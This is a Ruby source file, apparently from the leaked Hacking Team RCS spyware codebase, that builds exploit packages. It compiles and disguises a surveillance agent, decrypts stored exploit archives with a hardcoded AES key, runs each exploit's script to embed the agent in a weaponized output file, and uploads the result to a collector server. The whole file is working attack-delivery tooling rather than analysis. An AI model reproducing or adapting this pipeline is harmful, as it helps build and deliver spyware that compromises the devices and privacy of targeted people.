hackedteam/rcs-db

View on GitHub
lib/rcs-db/build/exploit.rb

Summary

Maintainability
B
6 hrs
Test Coverage
#
# Local exploit creation
#

require_relative '../frontend'
require_relative '../build'

# from RCS::Common
require 'rcs-common/trace'
require 'rcs-common/crypt'

require 'rbconfig'

module RCS
module DB

class BuildExploit < Build

  def initialize
    super
    @platform = 'exploit'
  end

  def load(params)
    trace :debug, "Build: load: #{params}"
    @factory = ::Item.find(params['_id'])
  end

  def unpack
    # nothing to unpack here
  end

  def build_agent(params)
    # build the agent for the right platform
    build = Build.factory(@exploit['platform'].to_sym)
    build.load({'_id' => @factory._id})
    build.unpack
    build.patch params['binary'].dup
    build.scramble
    build.melt params['melt'].dup
    @scout_name = build.scout_name(@factory.confkey)[:name] if build.respond_to?(:scout_name)
    agent = build.outputs.first
    FileUtils.cp(File.join(build.tmpdir, agent), path('agent'))
    @outputs = ['agent']
    build.clean
  end
  
  def generate(params)
    trace :debug, "Build: generate: #{params}"

    @exploit = Exploit.get params['exploit']

    raise "Exploit #{params['exploit']} not found" if @exploit.nil?

    build_agent params

    clear_file = Exploit.decrypt_exploit(@exploit[:package])

    # unpack the exploit
    Zip::File.open(clear_file) do |z|
      z.each do |f|
        f_path = path(f.name)
        FileUtils.mkdir_p(File.dirname(f_path))
        z.extract(f, f_path) unless File.exist?(f_path)
      end
    end

    FileUtils.rm_rf clear_file
  end

  def melt(params)
    trace :debug, "Build: melt #{params}"

    @appname = params['appname'] || 'exploit'

    # use the user-provided file to melt with
    if params['input']
      FileUtils.mv Config.instance.temp(params['input']), path('input')
    end

    FileUtils.mv path('agent'), path(@appname)
    @outputs.delete 'agent'
    @outputs.push @appname

    # how do we name the output file?
    if @exploit['multifile']
      # multifile exploits are always zip archives
      @final_output_file = File.basename(@appname, '.exe') + '.zip'
    elsif params['filename']
      # name it as the input file name
      @final_output_file = params['filename']
      # if the exploits declares an output format, use that extension
      @final_output_file = File.basename(params['filename'], '.*') + "." + @exploit['output'] if @exploit['output']
    else
      # otherwise use the first extension
      @final_output_file = File.basename(@appname, '.exe') + '.' + @exploit['format'].first
    end

    # invoke the creation of the exploit
    command = @exploit['exec']
    raise "Invalid exploit script, no exec command" unless command

    command.gsub!('%OUTPUT%', path('output'))
    command.gsub!('%OUTPUT_SERVER%', path('server.zip'))
    command.gsub!('%AGENT%', path(@appname))
    command.gsub!('%URL%', params['url']) unless params['url'].nil?
    command.gsub!('%FILE%', path('input')) if File.exist?(path('input'))
    command.gsub!('%FILENAME%', params['filename']) unless params['filename'].nil?
    command.gsub!('%COMBO%', params['combo']) unless params['combo'].nil?
    command.gsub!('%SCOUT_NAME%', @scout_name) unless @scout_name.nil?

    # split the command and the arguments
    m = Regexp.new('([\w\.]+)(?: )(.*)', Regexp::IGNORECASE).match(command)
    command = m[1]
    params = m[2]

    # if the command is local, use the full path to the temp dir
    command = path(command) if File.exist? path(command)

    # we have to invoke the interpreter explicitly
    command.prepend('ruby ') if command.end_with? '.rb'
    command.prepend('python ') if command.end_with? '.py'

    # special case for windows
    if RbConfig::CONFIG['host_os'] =~ /mingw/
      # use the full path under windows
      # this will trigger the CrossPlatform.exec to capture the output
      command.prepend("C:\\RCS\\Python\\") if command.start_with? 'python'
      command.prepend("C:\\RCS\\Ruby\\bin\\") if command.start_with? 'ruby'
      
      # replace the slashes in the path with backslashes,
      # don't replace those with a space in front (usually parameters)
      params.gsub!(/([^ ])\//) { |m| "#{$1}\\" } if command['makensis']
    end

    CrossPlatform.exec command, params, {:chdir => path('')}

    File.exist? path('output') or raise("Exploit creation failed. No output file")

    @outputs << 'output'

  end

  def pack(params)
    trace :debug, "Build: pack: #{params}"

    # already a zip file, don't compress it
    if Exploit::is_zip_file?(path('output'))
      FileUtils.cp path('output'), path('output.zip')
    else
      # put it inside a zip for the
      Zip::File.open(path('output.zip'), Zip::File::CREATE) do |z|
        z.file.open(@final_output_file, "wb") { |f| f.write File.open(path('output'), 'rb') {|f| f.read} }
      end
    end

    @outputs.insert(0, 'output.zip')
  end

  def deliver(params)
    trace :debug, "Build: deliver: #{params} #{@outputs}"

    # if the agent was embedded, we don't need to push anything on the collector
    return if @exploit['embed']

    @appname = File.basename(@appname, '.*')

    # for exploits that have a package for the server
    if File.exist? path('server.zip')
      content = File.open(path('server.zip'), 'rb') {|f| f.read}
      Frontend.collector_put("#{@appname}.zip", content, @factory, params['user'])
      return
    end

    # for all the others create a zip of outputs and send to the frontend
    push = @outputs.dup
    push.delete 'output.zip'
    push.delete 'output'
    file = push.first

    # already a zip file, don't compress it
    if Exploit::is_zip_file?(path(file))
      File.rename(path(file), path("#{@appname}.zip"))
    else
      # put it inside a zip for the
      Zip::File.open(path("#{@appname}.zip"), Zip::File::CREATE) do |z|
        z.file.open(file, "wb") { |f| f.write File.open(path(file), 'rb') {|f| f.read} }
      end
    end

    content = File.open(path("#{@appname}.zip"), 'rb') {|f| f.read}
    Frontend.collector_put("#{@appname}.zip", content, @factory, params['user'])

  end

end

class Exploit
  extend RCS::Tracer
  extend RCS::Crypt

  class << self

    def is_zip_file?(file)
      sig = ''
      File.open(file, 'rb') do |fo|
        sig = fo.read(2)
      end
      # it is a zip file
      sig == 'PK'
    end

    def decrypt_exploit(input_file)
      clear_file = Config.instance.temp(File.basename(input_file))

      # it is a zip file in clear
      if is_zip_file?(input_file)
        content = File.binread(input_file)
      else
        # this is encrypted
        content = aes_decrypt(File.binread(input_file), "$RCS Galileo Exploit$")
      end

      File.open(clear_file, 'wb') {|f| f.write content}
      return clear_file
    end

    def reload_list
      list = []
      trace :debug, "Scanning Exploits..."

      begin
        exp_dir = File.join($execution_directory, 'exploits')
        if File.exist? exp_dir
          Dir[exp_dir + '/ht-????-???'].each do |exp|

            # decrypt the exploit package
            clear_file = decrypt_exploit(exp)

            info = {}
            # load the info of each exploit from the package file
            Zip::File.open(clear_file) do |z|
              info = z.file.open('info.yaml', 'rb') {|f| f.read}
              info = YAML.load(info)
            end

            # remove the exploit archive in clear
            FileUtils.rm_rf clear_file

            # load only exploits with correct version number
            next unless info['version'] == 20140512
            info[:package] = exp
            info[:address] = File.read(RCS::DB::Config.instance.file('exploit_server')).chomp if info['exploit_server']
            list << info
          end
        end
      rescue Exception => e
        trace :error, "Cannot load exploit list: #{e.message}"
      end

      # atomic assignment to avoid concurrency
      @list = list
      
      trace :debug, "Exploit found: #{@list.size}"
    end

    def get(id)
      return nil unless LicenseManager.instance.check :exploits

      reload_list

      @list.each do |e|
        return e if e['id'] == id
      end
      
      return nil
    end

    def all
      return [] unless LicenseManager.instance.check :exploits

      reload_list
      @list
    end

    def version
      return "no license" unless LicenseManager.instance.check :exploits

      version_file = File.join($execution_directory, 'exploits', 'VERSION')

      return "no version" unless File.exist?(version_file)

      File.open(version_file, 'rb') {|f| f.read}
    end

  end

end

end #DB::
end #RCS::